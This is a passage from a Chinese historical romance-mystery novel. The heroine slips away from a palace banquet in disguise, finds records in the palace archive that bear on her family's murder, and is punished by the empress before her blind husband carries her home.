他这话说的和睦自在,若不是仔细回想,差点忘记前些日子将顾长宁打的半死的人是他。 苏木盯着顾长宁,见他拱手以礼自然随之。 “臣得陛下厚爱,甚感荣幸,谢陛下隆恩。” “欸——伯沅莫要客气拘束,今日朕十足高兴,便自由自在的,无碍,莫要再谢来谢去的。” “你我便共饮一杯,如何!” 说罢,帘后之人举杯而示,顾长宁身侧内侍也忙给他倒上,递到顾长宁的手里。 按理说,他背伤还在将养阶段,眼疾也在疗程之中,这酒是百害而无一利的,但迫于皇权在上,顾长宁自然是不敢拒之,至少苏木是这样以为的。 却不料,顾长宁竟将那酒杯拂去,再次拱手:“陛下,近日阴雨连绵,臣偶感风寒,不甚酒力,咳咳咳,还望陛下体恤。” 未料顾长宁竟然如此直白拒绝,苏木不解,心下也有些不安。 他就如此直白给拒绝了?而且还是其余的借口。 难道?他不想让皇帝知道自己治眼之事? 苏木下意识地睨向帘后之人,也不知刚好是从哪里吹来的风,竟将纱帘吹开半寸,皇帝的神色,她可谓是看的真真切切。 先是半分滞楞,随即和煦如常,可唇下却是未动半分,不知是将怒意克制于下,还是真的无所谓。 只怕皇帝会以为是自己上次赐予杖刑之事,惹得顾长宁生了嫌隙。 但无论怎么说,如今君臣,顾长宁刚才的做法似乎……真的不太好。 苏木是怕那皇帝一个不悦将二人撵出去了,那她计划岂不是泡汤了。 瞧见气氛愈加不对劲,苏木连忙端起酒杯:“陛下,长宁近日的确邪风入体,昨儿夜里更是高烧不退,大夫言近日得好生休养,切忌辛辣,然妾胜酒,不敢拂却陛下隆恩,感谢之余唯有自罚三杯。” 说罢未待上头那位说话,苏木猛灌一杯。内侍不敢磨蹭,见杯底已空,随即又倒上了一杯。 苏木连灌三杯,只觉这酒不似一般醇酒回甘,除了苦就是辣除了辣就是苦,虽喉间如火烧,面上却不敢懈怠半分,乖巧垂首。 “哈哈哈哈哈哈” 台上人笑得爽朗:“伯沅,你这新妇倒是个嗜酒之人,朕还没答应,她便已灌下三杯,本是好意,倒显得朕有咄咄之意了。” “……” “陛下……” 顾长宁正欲说些什么,却被台上之人打断:“无妨,朕没生气,瞧见你身侧也有护你之人,朕倒是觉得这婚没白赐。” “苏木,朕还记得你,有你陪在伯沅身侧,朕心甚慰。” 苏木应答后皇帝再次对着顾长宁:“你既喝不了酒,那便尝尝近日宫中新到的一批蒙顶山茶,此茶浅绿油润,香气沁人心脾,味醇甘香,朕特意留着与你同喝的。” 苏木坐下,看向对面,殿中舞姬衣袖翻飞,纤肢飞舞几番,将她挡了个严实。 但说实话,在蔺州呆久了,习惯了直来直往,她很是讨厌京中皇帝贵族那一套,总是语中有意,话意不明。 就如同现在,若是苏木不知二人是幼时好友抑或是现在的情敌,倒真察觉不到皇帝语中那几分恰到好处的意韵。 许是顾长宁喝下了,只见他道:“确是好茶。” 二人一来一回,已说下许多话,因着苏木之前挡酒之举,每次皇帝要喝酒相祝,亦或是聊到兴头之上,皆是苏木举杯。 她的酒力自然是好,但也抵不住接二连三的灌酒,何况这酒也不知是何名品,又辣又冲,使得苏木头渐昏沉。 她不能误事,又喝下一杯后开始琢磨如何离开这里。 宫人再次为她斟酒,苏木假借酒力起身,接酒时手腕翻转,只听“哐当”一声,酒杯连带着酒壶砸入案中,酒汁淋沥一地,透白反光却引得一片狼藉。 那宫人“扑通”一声跪倒在地,神色惶恐,身姿颤抖:“夫人恕罪,夫人恕罪……” 苏木瞧见自己衣衫被淋了个结实,未有不满,眼底甚至还染上窃喜,这是这抹喜色很快被她遮掩。 “怎么了?” 歌舞暂停,皇帝身侧的内侍往这边看来,随即回应:“回陛下,是一宫人打翻了苏夫人的酒,苏夫人衣衫尽湿。” 帘后之人嗓音平缓,却带着让人惧之之意:“我太极殿何时进过新的宫人?” 那内侍忙道:“回陛下,近日太极殿未进新人,都是……” “既如此,拖下去,杖毙。” 苏木骇然,她本想借此绕开宴会,趁换衣时去向秘阁,却显然未料到打翻一个酒桌会如此严重。 地下宫人抖得更加厉害,嘴里不停求饶,语声啜泣,几近哽咽:“求陛下,求陛下……奴婢不是有意的……奴婢……” 苏木起身跪地:“求陛下开恩。” 台上之人似乎饶有意味:“哦——苏夫人不生气?” “回陛下,妾无恼意,说来,这宫人并无不妥之处,乃是妾不胜酒力无意打翻,还望陛下开恩。” “但侍奉不力,手力不稳,那也是她的过错。”皇帝叹下一口气:“罢了,既然苏夫人替你求情,你便下去领罚便是。” 地下宫人如蒙大赦:“谢陛下开恩……谢陛下……” 人声渐下,已被人拖出去了。 苏木手心泛着汗,一时唇色都有些发白。天威便是如此,一个不高兴便可以赐死任何一个人,想起顾长宁那日惨状,苏木有些后怕自己还来不及去秘阁,一个不小心便人头落地。 可秘阁,她却是不得不去,就算被人发现,就算人头落地,可心中之执念,不是一朝一夕能够抹去的。 苏木不敢出神,只是交握的手心愈发的冷,汗涔涔。 “苏夫人,既然如此,你便随着宫人去换身衣着。” 苏木弯腰俯身:“是。” 第63章 带苏木换衣的宫人只有一个, 她行于苏木前未注意苏木服下了一颗准备好的解酒丸。 出了太极殿,苏木仔细打量着周围路径, 刚才的太极殿便立于中宫,秘阁在中宫南侧,和眼下的位置是相反的。 苏木装作不经意问:“这位小宫人,我们是去哪换衣?” 宫人停下行礼:“回夫人,奴婢带你去韶宜殿,那里乃是换衣之所。” “韶宜殿” 苏木喃喃,随即笑道:“皇宫生的气派, 连殿宇名字都这么好听, 不知除了这韶宜殿, 你可还知其余殿宇名称吗?我第一次入宫, 想涨点见识。” 苏木尽量压低自己的姿态,也看到那宫人脸上的神气, 就知这招十分好用。 那宫人在宫中也是听说过昭明侯娶的是个奴婢, 自然当她真的没见识过,没什么防备心, 她停下脚步, 给苏木指了指。 “夫人客气了, 从所处之地看去,东边是刚刚我们过来的太极殿,太极殿后都是宫中政务之地, 常人不可入内,再往后绕个些许,便是后宫所在了。” “太极殿之称可算是气宇轩昂了,不知这其余殿宇是何名字?我想知道些,回去也好给我那些身边人炫耀一番。” 说到此, 那宫女也仿佛来了兴趣一般:“太极殿西边是安阳宫,北面是风华宫,最南边的乃是玄武殿。” 苏木恍然大悟般,掏出些碎银:“原来如此,多谢这位小宫人解惑,这些个名字当真是好听,这是一点碎银,还劳你带我去换衣了。” 苏木与她未多做纠缠,毕竟换个衣服不敢耽误太多时间,恐生疑变,边由着宫女带着往韶宜殿而去。 刚才的对话,也只是想再确认一遍,这位置是无错的。 玄武殿的布局她早已牢牢记在脑中,只要有机会进入,她便可以找到秘阁所在。 换衣时,苏木离那宫人十分的近,她抬袖时故意让腕间打到女子的鼻间,不肖片刻,小宫人已沉沉倒下。 苏木眼下清明,呼吸都是急促的,她必须要稳住。 她将宫女的衣袍褪下给自己换上,随即从里将门栓住,从窗户翻出去,混入正要往中宫反向而去的一众宫人。 队伍较长,身后不知何时多出一人,也未有人知。 最让苏木放心的,是这雨不知何时停的。 没了雨,她在外也方便些,不怕淋雨教人看出端倪。 到了中宫与南侧的分岔口,苏木脚底抹油般闪进一方茂盛树木中,她警惕这四方动静,随即向记忆中的方向而去。 绕过水榭楼台,苏木停下脚步。 檐角处望去,一块巨大的鎏金牌匾悬挂殿外,那名字让苏木窃喜,她不由又张望了玄武殿旁四周。 玄武殿南侧,从她这面瞧去,正门有两个守卫,北边是三人,南边亦是三人。 这八人中只有正门是侍卫,其余六人皆着内侍服,未佩银刀在侧,想来不算不好对付的。 有了思绪,苏木找到一处藏身,她正想要仍一块石子来声东击西,身后却传来脚步声。 两名宫女自她身后小道而过,手里端着的是些四四方方的纸卷或册子,看她端走的方向,显然是朝玄武殿而去的。 “尚义局大人命你我还书,我们可得快些了。” “的确如此。” “尚义大人还命你我取什么书来着?” “工物纪要。” “行,我们快走吧。” 二人对话不多,苏木听到了“尚义局”三个字,尚义局乃是管理宫中大小事宜的内廷机构,大多是女官。 倒是天助她也,苏木是悄悄绕到那宫人后方:“二位妹妹,且等。” 忽而见身后有人唤她们,那两名宫女转过头来,瞧见了一眼生的宫人,瞧着面待冷寂,眉眼却明媚。 他们不记得尚义局有这样一位宫女。 但从衣制所瞧,那是太极殿宫女所着。二人连忙行礼:“姐姐,可是有什么吩咐?” 苏木刚才随着二人的眸光也将自己打量了一番,见二人行礼也即可明白了过来,于是清了清自己的嗓子:“也不是什么大事,陛下命我来找些工书,我便和你们一同进去吧。” 她本来还打算找个其它由头支走其中一人,眼下来看,似乎又不需要了。 那两位宫女自是不敢驳了太极殿宫人的话,于是带着苏木往玄武殿反向而去。 苏木走的端正,跟在二人身后。 “何人!” 内侍质问语气凌冽,想来不会轻易放人进去,前面二人,用着不卑不亢的语气答道:“奴婢奉命将归还所用卷册。” “你是哪个宫的?” 那些个内侍自然也不是个头脑简单之人,秘阁乃是机要之所,若不问清楚,倘若出点什么问题,掉脑袋的可就是他们。 哪个宫的?苏木正准备说自己是太极殿的,但很快,她便抛开了这个念头。 说的越多死的越快,两名宫女倒是无所谓,若是往后教人察觉出多余端倪出来,平白留下破绽,还是不替太极殿较好。 她微微昂首,也不怕内侍觉得她是个生面孔,毕竟整个宫中成千上万的宫人,太极殿自然进出宫人也不少,定然不会单单记得哪些是熟的那些是生的。 “近日哪个宫中来过玄武殿取书各位大人不记得吗?”苏木匆匆掠过手托木案之上的册子:“衣宫纪要,你可想起来了?” 她反客为主,掷地有声。 那些个内侍一听这名字,果然恍然大悟,立马行礼:“原来是尚义局的妹妹们,你快些进去吧,莫要耽误。” 前面那两个宫女没多加怀疑,毕竟太极殿的心思也是让人捉摸不透的,故而也没多问一句,为何她不说自己是太极殿的人。 苏木也未解释,跟着开门的内侍,直接往里去。 秘阁不大,几方木架耸立,其中都摆的满满当当,未有空余。 那内侍跟在三人身后,看样子是要亲眼看她将东西归位。 苏木脑中千回百转,脑中灵光一显,随即挽上其中一名宫人,对着另一人说道:“妹妹,你先去那边归书,我这边和她先去找工书。” 她的话和刚刚在外头和二人说的话是一样的,二人点头,随即看向内侍,那内侍是知道归还显然是第一重要的,毕竟借书走,那也是需要他登记的。 他点点头:“行吧,我随你去放书,二位姐姐先去找你们所需要的书,莫忘了来登记。” 被苏木挽着的宫女宛然一笑:“那是自然。” 苏木对着那小宫女笑道:“我很少来秘阁取书,今日是替了姑姑的活,还劳姐姐带我寻。” “那是自然。” 那宫人轻车熟路,绕过几方书架,停在角落一处。 “都在这了,我要先寻我们大人要找到东西,你得自己找找了。” “那是自然,劳烦了。” 说罢,苏木眸光已飞快在架子上来回睃巡,她背对着那宫女,往相反得方向查去。 《天工考镜》、《器作书》、《匠艺通典》…… 几乎是一瞬间,苏木的眸光停留在手边正摸着的《兵械编年志》。 瞧见刚刚那宫女已绕过她这边的架子往对面寻去,苏木小心而谨慎地飞快翻页。 要迅速找到所定之处,她先翻开了此书的薄录。 随着指尖不断向下移动,她的心也跳的更急切,所有的注意力都凝在一处,生怕错过一个字。 错失一个字,或许会满盘皆输。 苏木不敢有半分懈怠,又翻过一页薄录。 终于,停在了一处。 天佑二年兵械更替纪要。 苏木跟随着所引书目,翻开了那一页。 这本书在手中,其实不算厚重,可落在苏木手中仿佛千斤,在翻开这一页后,仿佛层层关隘只剩最后便可突破,她所做的一切都不会是徒劳。 “天祐二年,本应五年换置兵器,由新帝登基之故,举国如新,提前三年换置,良器不予置换,余器熔铸换新,刀一万五千六十、戟三千六百……” “周绗大将军、顾远绍太尉与谢尧丞相因护国出策有功,特赐精锐箭羽一百只,由分不均,特留二十五只于谢府,共五十只,其余三府均分……” 再往下,箭镞的设计图纸赫然闯入苏木的瞳孔里,每一笔每一画,每一个沟壑凹凸,她是那么的熟悉。 苏木脑袋轰的一声炸开,周家三年前覆灭,顾家上次夜探未有发现箭镞的迹象,唯有谢府,她从来没去查过。 是忘记了,还是自己不敢去查? 苏木翻开的那一页被风吹过,沉默的合上。她未注意到,眼前只浮现出谢府每个人的面容。不管是谢尧伯伯,还是林氏,又或是……谢辞桉。 “姐姐?” “姐姐?” “怎么了?” 苏木被眼前人唤回思绪,一脸茫然的看着正对着她疑惑的宫女。 “你的书找好了吗?” 苏木这才想起自己是因何进入这秘阁,她低头又看了一眼手中的书,随即迅速合上放回,扯出一抹极其难看的笑容:“没找到合适的,陛下应当不会怪罪,我们走吧。” 那宫人见她魂都被牵走的样子,一时有些困惑,却又不敢多问,于是自己手捧着书,同她一同登记。 苏木未取书也未登记,她只说自己还有其余事情耽搁,只匆匆解释后便匆匆离去。 无人敢问,也无人敢阻—— 第64章 苏木小心沿着来时路, 回到了韶宜殿。被她迷晕的宫人还安详的躺在地上,她将衣物换回再把发髻小心弄好, 才唤醒了她。 那宫人自地上而起,眼中迷蒙,有些不明所以,却立即慌张叩拜:“夫人,我……” 苏木立于她跟前,绽出笑容:“无碍,你这是血瘀之症, 一时晕了过去, 我掐了你穴位, 现下没事了。” 血瘀之症自然是她编的, 但这个症状的确会突然让人晕厥过去而不为本人所知,掐其虎口后吃一颗糖, 是能够缓解压制的。 想罢, 她从衣袖里掏出刚在席上拿的几颗饴糖,将人扶起后递上去:“这些都给你, 以后多吃点甜的。” 那宫人在皇宫当差时刻都是小心翼翼的, 生怕主子一个不乐意就要掉脑袋, 因此时刻都是吊着一颗心,现下瞧见这夫人人这样好,刚才在路上还暗想她没见识, 一时羞愧。 “夫人……谢谢夫人。” 她不好意思全拿,而且就算她都拿了,若是被殿里其它宫人瞧见,诬陷她偷了殿中饴糖,那更是不妙了。 她拿起一颗, 脸上带着感恩的笑。 苏木收起其它糖:“今日你晕厥之事我不会告知给他人,所以若是有人问你我为何来的这样迟,你便把责任推我身上,说我见宫中巍峨隆贵,一时离了你走晕了路。” 她是有其它目的的,这样说不过是为了不教人看出些端倪来,毕竟她离席已久。 可这话放在那宫人耳里,便觉得眼前人是顶顶好的人,于是感激涕零地道:“我知道了夫人,多谢夫人……” 苏木不好再耽误时间,叹了口气:“快把所换衣衫拿来罢,我们得快些了。” 说来,内侍公公未特指拿韶宜殿的哪件衣物,那宫人绕到后面,拿出一件拓黄衣裙,裙料锦华,泛着光泽,并不比她身上这件逊色。 想罢不会失礼,苏木旋即换上。 对着铜镜重新整理了一番,旁边宫人不住称赞:“夫人,您穿上这一身真是好看,像是……仙女。” 苏木被人夸赞长得好看并不少,此时被这小宫女一夸,也只是淡然一笑:“好了,快回去罢。” 绕过韶宜殿,要穿过中宫与前殿的中院即一处花园,这花园刚才经过时人还少,现在竟还能瞧见一只风筝在台上摇曳翻飞。 既桎梏又自由,苏木一下被吸引了视线。 顺着风筝线而看,远处假山背面传来些女儿家的嬉笑声,苏木侧身问身旁宫人:“谁人敢在前殿花园放风筝?” “夫人,是陛下的表妹,华尚郡主。” 华尚郡主,苏木略有耳闻。这位郡主的父亲是皇帝的表叔,也就是林氏伯爵,林氏家大业大,在朝堂之上儿女遍布,都是肱骨之臣,也难怪这位郡主是出了名的跋扈。 而且,这位尚华郡主之前……似乎一直爱慕着顾长宁。 苏木不愿与这些人交缠,想要等未被人看见而迅速离去,可步子还没迈出两步,那头就传来了声音。 “喂,你,去帮本郡主将风筝捡回来!” 苏木顿住脚步,眉眼不爽,但还是循声望去。 她所见到的是一对人往她这边而来,苏木无奈叹了口气,还是朝哪个方向走了几步。 领首的女子身着大红缂丝凤袍,袍上远远可见的丹凤绣于其上,在日光下熠熠生辉。 身后宫人小心提醒:“那是皇后娘娘,左侧是郡主,右侧是娴妃。” 苏木垂首听的清晰,见距离逐渐远了,立即半蹲着行礼:“妾身苏氏参见皇后娘娘。” 宫人跪在身后,本想提醒什么,却是不敢再说话了。 苏木瞧见凤靴停在眼前,她没抬首,行礼端端正正。 可头顶那位,却迟迟没作反应。 “你就是昭明侯的侧室?” 长久以来,不管是在侯府还是进宫,顾长宁都称她为自己的夫人,有时她都快忘了,自己仅仅是顾长宁的一个侧室而已,如今冷不丁被人提醒,苏木未作反驳,依旧半蹲:“回娘娘,是。” “抬起头来。” “是。” 她抬头看向皇后的同时,皇后和她身后的人也在打量着她。 这位皇后和皇帝一样,年纪瞧着不大,约摸和她同岁,脸上却未有稚气,只有代表着皇室的威严与华贵,她打量人的样子居高临下,苏木很不喜欢。 皇后瞧着身下这半蹲着的人,娴妃和尚华郡主也在细细打量。 清眸明眉,眼尾清浅却带着锋锐,鼻骨高挺,唇色偏淡却如雨中海棠,嫣然绽放,的确算是个美人,外加那身拓黄的明艳衣裙,给本就生的清冷的女子平添了几分明艳。 也难怪,昭明侯会娶一个奴,还由着皇帝亲自赐婚,听说还在新春宫宴上出了力,当真不简单。 “是位绝色的女子。” 皇后这话虽是称赞,可却无称赞之调,更像是冷讽。 苏木依旧半蹲,得亏她是习武之人,眼下半蹲着也还能支撑。 “起来罢。” 苏木刚起身,皇后左侧的女子便开口:“娘娘,不如就让她去捡风筝罢。” 风筝? 苏木抬头看说话的女子,脸上布满骄纵,穿着粉色衣衫,和苏木对上眼神后还瞪了她一眼。 苏木连忙拒绝:“回娘娘,郡主,妾是随侯爷进宫赴宴,不敢不敬,现下需得回宴了。” “你一个奴不过是变为了妾,能进宫中赴宴自然是得荣之事,但眼下,皇后娘娘需要你做事你却相拒,是敢将娘娘的要求熟视无睹?” 那尚华郡主未等皇后发话,直声询问,句句歪理,苏木甚是无语,若放宫外,她定要教训教训这位尚华,可如今在宫中,她只得忍耐。 “回郡主,妾并无此意,妾乃粗鄙之人,怕污了娘娘之物,” “你是粗鄙下贱之人,所以要你去捡这等玩物,你放眼瞧瞧,若不是你去,难道要本郡主或者是娴妃娘娘去?你身后的乃是太极殿的宫人,风筝在池水之中,若太极殿宫人有个损失,岂是你能够担当的?!” “……” 苏木是真想骂人了,不止骂眼前人,还想骂顾长宁。 到处招蜂引蝶,给她带来些灾祸。 她知娴妃是顾长宁长姐,或者说是护着顾长宁的,想毕也不会为难她,于是瞧瞧睨了娴妃一眼,希望她能解围一二。 但苏木却瞧见她脸上的淡然,那是一种事不关己高高挂起的姿态。 苏木垂眸,她想,要不然给人捡来算了,刚好耽误一点时间,等时间一长无人计算,她回到殿中就算迟了,那理由也是够用了。 可刚刚听那郡主说,风筝是掉在池子里了。 自九年前那桩事后,她怕水的很,也很久没下过池塘或入过河流,还记得一次在闳离阁跌进池塘,那吞人的淹没感将她吞噬,她像是被人束缚住了手脚,动弹不得。 这,也是她最怕的一件事。 想罢,苏木梗着脖子拒绝:“郡主,此番妾入宫是受陛下之令,就算妾如斯粗鄙,如斯下贱,那也是受邀前来的客人,此番郡主的要求,恕妾无法相助,妾还得回殿赴宴,妾退下了。” 说罢,她躬着身子要往一侧而去。 “站住!” 这声音带着不容置疑的威严,皇后缓缓侧身,眸中微怒:“你以为你是个什么东西!” 她这声很重,苏木很讨厌别的人以高高在上的姿态训斥她,所以她就算止住了脚步,也未显怯懦。 目光对上,尊卑之下,苏木不能像刚刚对视郡主那般,她只好再微微垂首,以臣姿态居之。 “就算你是陛下传入宫中的,却不遵礼,见到本宫不行大礼还敢径直退下!” “宫中岂是你这个小小妾室多能放肆之地。” 皇后指了指远处荷塘:“本宫给你一个赎罪的机会,这风筝虽不是什么稀罕之物,但本宫向来爱莲,这荷塘之中本宫不愿见到杂物,所以这风筝就由你来拾起,拾起后便在这给我跪上一个时辰,至于你所说的宴会,本宫替你去赴,就去瞧瞧是本宫苛责了你,还是你应该受这责罚!” 说罢,皇后转身往亭中去,坐在一处,正正地看着她。 皇后所说并非无礼,苏木回想起刚刚,她的确失礼,初见凤仪,她该行跪拜礼的,但却因她心急,一时忘记了。 看来这风筝,她今日是非捡不可了。 毕竟眼前之人是皇后,是天下之母,要是闹到殿前,皇帝又岂会为了她区区一个妾室而责了皇后?只是给侯府添堵罢了。 想起顾长宁背上的伤,苏木暗叹一口气,她还是不要连累顾长宁的好。 立于伞下,尽管锦衣厚重华贵,是不便穿衣下塘的,但若脱了外衫,未免有些失了礼数,更会遭人诟病。 苏木身后的宫人有些担忧:“夫人,奴婢跟娘娘求求情,还是奴替你去吧,这下着雨,那荷塘里的水没人脖,淤泥也厚重,就算踩上那也是容易陷进去的。” 苏木看着眼前人,似乎在思虑。 若是真的让她去,似乎也未尝不可,她未行大礼,往后推也可以说是这位宫人未提醒的失职。 可这年头转瞬即逝,苏木瞧她那单薄的身子,身高也没她高,下了荷塘怕是没两步就跌了,或许还有性命之忧,她的过错何以要让他人来承担。 她好歹是个练家子,虽然不能直接运用轻功,但下个荷塘……咬咬牙也就罢了。 苏木宽慰一笑:“无碍,你在这等着,我去,只是上来后辛苦你还得再帮我找一身衣衫了。” 说罢,苏木接过伞骨,往远处池塘而去—— 第65章 阴雨绵密, 园中荷塘被风雨搅得水光翻涌,碧夜倒晃, 东倒西歪,在塘心能见到一纸鸢卡在残叶之间,被雨打的透明半湿。 苏木四处望去,没瞧见可以用的竹棒或者什么,而且,用他物还更容易让纸鸢沉入塘底,最保险的还是亲自去取。 亭中人用绣帕拂了拂自己身上的雨珠, 眼底是一片漠然, 只等着看好戏。 苏木越往荷塘走, 嘴唇越有些发白, 那些水光涟漪变为无数细小漩涡,似乎要将她吞噬一般。 她的脑袋很乱, 那些潜藏在心底的害怕的东西, 似乎想要冲破牢笼,齐齐将她笼罩。 荷塘, 她从前, 或者说如今, 也是爱莲的。 衣裙早已被雨水打湿,为了方便行事,苏木半蹲着将纸伞放在塘岸, 提起了裙摆。 刚踏上塘边石阶,冰冷的水便触及了脚踝,她蹙着眉,将脚又往下探了几分,水便快速地淹没了她的小腿。 那宫人说的没错, 这塘底的淤泥的确厚重,她才刚感觉触及了柔软的泥沙,一用力,整个脚连带着脚踝都没入了淤泥之中。 她走的有些艰难,况且越往里走,水还越深,走了没一会儿,水依旧淹没至胸口,可她离那纸鸢至少还有五六步的距离。 头顶发髻也早已被雨水渗透,顺着发鬓蜿蜒,她的睫毛被雨水冲刷,多少有些糊眼。 苏木抬手抹了一把脸,又费力往前挪了几步,直到纸鸢被她指尖够到。 面上露出了些轻松的笑容,但随即又被刺骨的塘水逼的轻颤了身子,她努力平静下来,举着手托举着纸鸢,又缓步往回挪。 也许是刚才站在淤泥里够纸鸢费了太多力气,苏木脚下传来了不对劲的痛感。 也许是姿势不对,小腿好像有些抽筋…… 苏木脸色早已有些苍白,再加上这突如其来的痛感,脸上更是泛青,雨水之下,不知是汗还是什么。 借助于以往的经验,苏木一只手高举着纸鸢,另一边却缓慢弯腰,憋着气埋入塘水之中,抓住了抽搐小腿的指尖,忍着疼痛用力的去拉伸。 见人本来是站着,自己还往水里埋头,亭中人有些讶异,却始终没出声。 娴妃或许有些不忍,见人迟迟没从水中出来,不免有些担忧:“娘娘,要不要派人去帮她?” 皇后端坐正中,对此言一语不发。 许久,她可能也怕不妥,于是抬手:“将她捞上来吧,不过她这跪罚不可免去,不然日后有人以此为荣,见皇上与本宫都如此行径,皇家威严何在?” 说罢,她便起身,回头朝着娴妃:“她既是你母家人,便由你在这看着她,郡主便同本宫去太极殿。” 娴妃垂眸点头,行礼送走了一众人等。 一群人浩浩荡荡的走了,娴妃身后的宫人才有些气愤地说:“什么母家的人,皇后娘娘就是知道圣上对顾家的忌惮,借此打压,还让娘娘您在这掌罚,那不是打你脸吗?要是小侯爷……” “云雨,多嘴。” 娴妃制止了她接下来的话,往身后另一个宫人招手:“你,和塘边那位小宫人一起,将夫人拉起来。” 云雨是自小跟着娴妃在侯府长大的,她向来知晓从前小侯爷和自家娘娘的情谊,她也知若是小侯爷知道此事,必然会和娴妃娘娘生了嫌隙,所以才不平。 说实话,朗月在刚看见苏木时,也的确被她的容貌所惊艳,饶是她从前被称为上京第一美人,在瞧见苏木苏木抬脸时,依旧被吸引住了。 没瞧见容貌都可以将顾长宁迷的娶了她,若是顾长宁眼睛没瞎,岂不是能被她迷走了魂。 一股没来由的嫉妒充斥着她,所以在苏木对她投以求助时,她才会选择无视,她想瞧瞧眼前人的本事。 一个奴,饶是她协助顾长宁破了案子,那也只是被安排被利用,怕是一个趋炎附势,庸碌之辈。 但在刚刚对话来看,她对着皇后亦有不卑不亢之姿,知道自己本身有错后也未胡搅蛮缠,再加上……她的确是顾长宁爱慕之人,她不愿做那种因爱生恨,折磨他人的人。 看见荷塘里那单薄颤抖的身影,她才终是开了口。 再加上这皇后林氏显然是没把侯府放在眼里,没有丝毫的顾忌,这也让她颇为不爽。 苏木的小腿得到拉伸后便迅速恢复,等她再次起身时,已瞧见有两名宫人朝她而来。 许是憋气憋的太久,苏木的脸色比刚才更加苍白。 两名宫人急切上前接过纸鸢,这才小心的扶起两臂,将人从泥沼中拖了出来。 憋气的那些个瞬间,苏木的灵魂似乎被揪回了九年起的沈府,她脸憋得铁青,身体上的难受与眼中所瞧见的画面来比,不足万分之之一。 她永远记得她母亲倒下得瞬间看向她的眼神,她捂住鲜血淋漓的喉咙,呜咽着用嘴唇比划出最好几个字。 【好好活下去……】 她刚刚差点就直接栽进了荷塘,直到最后那个画面闪现出来,她才猛然从水中抽离,大口大口地呼吸着新鲜的气息。 我如今,已找到了查案的关键信息,等我报完仇,我会来找你们的,阿娘,阿爹…… 一行清泪混着荷塘水与雨水落下,她眼尾泛红,由着身旁人将她扶至岸边。 瘫软在地,身上衣衫早已湿透,但是由于是四月再加上穿的是鲜艳厚重的衣衫,也瞧不出旖旎之景,而全然狼狈。 之前一直陪着她的宫女眼眶有些泛红,不住地整理着苏木的衣衫,还有散乱打湿粘在脸庞的发丝。 另一人是娴妃的人,她站起身来:“夫人,皇后娘娘有令让你在此处罚跪一个时辰,您早些跪完,也可早些离去。” 说罢,便一个人拉起伞又往亭中去了。 扶着她的宫人也慌忙找到刚才被苏木丢至一旁的伞,将她覆在苏木的头顶之上。 阴雨连绵,再加上冷风阵阵,这雨随风而动,仍有不少吹打在苏木身侧,她冷的打了一个哆嗦,却跪直了身子。 她并不抱怨,也并没有觉得委屈,相反,她此刻的心中升起的是烈火,是能够照亮周遭的灯火,是要将这火光蔓延到痛恨之人的身上。 不管是周家,谢家,还是……顾家。 她今日回去后,定要一一排查,将那幕后之人,查得清楚,才不叫她所爱之人,一个个枉死在哪青院之中。 苏木抬眼,看向正对着自己那石阶上的亭子,里头坐着的人也同样在瞧着她。 苏木没有回避视线,四目交汇时,是朗月先别过了视线。 的确是美人,难怪顾长宁念念不忘。 苏木这样想着,垂眸只盯着身前雨水在青石上蜿蜒的痕迹。 不止跪了多久,苏木那被短暂理好的发丝再次被风打乱。 被风打乱的不止是苏木的头发,还有她的身体。 她不得不承认,即使她的身体再硬朗,那也遭不住浑身湿透了在这冷风冷雨中跪着。 她咬紧牙关,后槽牙却不住的磕绊。但是她似乎浑然不觉得冷,她只觉得激动,高兴,还有炙热。 她觉得自己很热很热,恨不得此刻冲进雨里,以求能得到片刻的清爽。 苏木不知道,自己其实是受寒发热了。 雨滴顺着下颌滴落,她挺直的腰终于有了一丝的松动,但面上却是一味的冷淡和固执。 仿佛这满园的风雨,她都不放在眼里。 可身体却由不得她的意识做决定。 方才在塘中抽经的小腿因跪着又开始抗议,膝盖下的石板又冷又硬,久跪之下麻木渐渐被疼痛所取代,然后便是身子一味的左右摇摆。 苏木只觉得眼前渐渐泛起了一阵白雾,耳畔的雨声似乎也像被隔离了一般。 她死死地支撑着,指节因用力攥着前腿而发白,在最后一刻,她只觉得头顶上有千斤悬挂,想要将她压垮,她拼命对抗着,却始终不敌。 终于支撑不住,苏木直直倒了下去。 身旁宫人惊慌的一句“夫人”还未落地,苏木没有触及到意想中湿冷硬的地板。 她落入到一个坚实的怀抱之中。 一股巨大的温暖气息顷刻便笼罩着她,她能感受到抱着的人将她攥地很紧很紧。 苏木在白雾水汽之中看到的第一眼不是来人脸庞,而是绯色的衣襟,以及一瞬便冲进鼻腔的雪松气息。 这气息,让她很是心安,却在心安处破了一道口子。 她缓缓抬眼往上瞧去,看到了顾长宁的脸。 他的气息好像夹杂着风雨,却沉稳如山,不可动摇。失明的双眸不再似往常一般像黝黑的潭水,一丝慌张的,怒意的涟漪覆盖其上,薄唇抿得很紧。 她浑身湿冷,而靠近她得那个胸膛温度却炙热得近乎灼人。 想起秘阁之中纸卷之上的名字,苏木虚弱地想要推开他,却被他双手扣地更紧。 “是我。” “没事了……我带你回家。” 雨幕重重,将这一隅隔绝成一方天地。那一刻,苏木只听到了重叠的有力心跳,与自己沉重的呼吸交织在一起。 耳边似无风雨。 第66章 苏木只觉一阵天旋地转, 自己便横在半空中,整个人落入到那个人的怀抱之中。 昏沉之中, 苏木只能迷迷糊糊看见她滚动的喉结,冷峻而锋利的下颌。 “娴妃娘娘……在那。” 顾长宁看不见,她也怕顾长宁看不见,或许会错过见到所爱之人的机会,那岂不是很遗憾。 可头顶上的人没有丝毫停顿,连下颌都不曾半分动摇。 她以为自己太过虚弱,或许声音太小了, 再次开口:“顾……顾长宁, 我说……” “我知道。” 滚动的喉结顿下一刻, 头顶之人冷冷递出这几个字。 苏木的眸中雾霾好像散去一些, 她勾住顾长宁的脖子更紧了几分。 她将头整个的埋进了那人的脖间,迷糊间阖上了眼。 下人掀开轿帘, 顾长宁将人交给身旁跟随的宫女, 由着他们将苏木扶进了轿撵。 落轿后,侯府的马车还停靠在宫道, 顾长宁掀帘而进, 马车在宫道缓缓而动, 行的沉稳。 苏木歪倒在车窗,脑袋随车厢晃动,磕的头在车轩之上, 发出沉闷撞击声。 顾长宁急忙摸索着而去,想要将手挡在窗轩之上,但由于眼前黑暗,他摸到的不是窗轩,而是一片湿热和柔软。 他僵住了一瞬, 手往回一缩,脑中迅速翻转,便一瞬意识到了自己摸到了什么,喉头滚动,他耳尖迅速染上一层绯红。 沉闷的撞击声再次袭来,顾长宁停在半空中的手才往上抬了许多,直到摸到窗轩。 斜着身子,将人像圈在怀中,但车厢一如既往的摇晃让顾长宁手臂发酸。 或许,他可以换个位置。 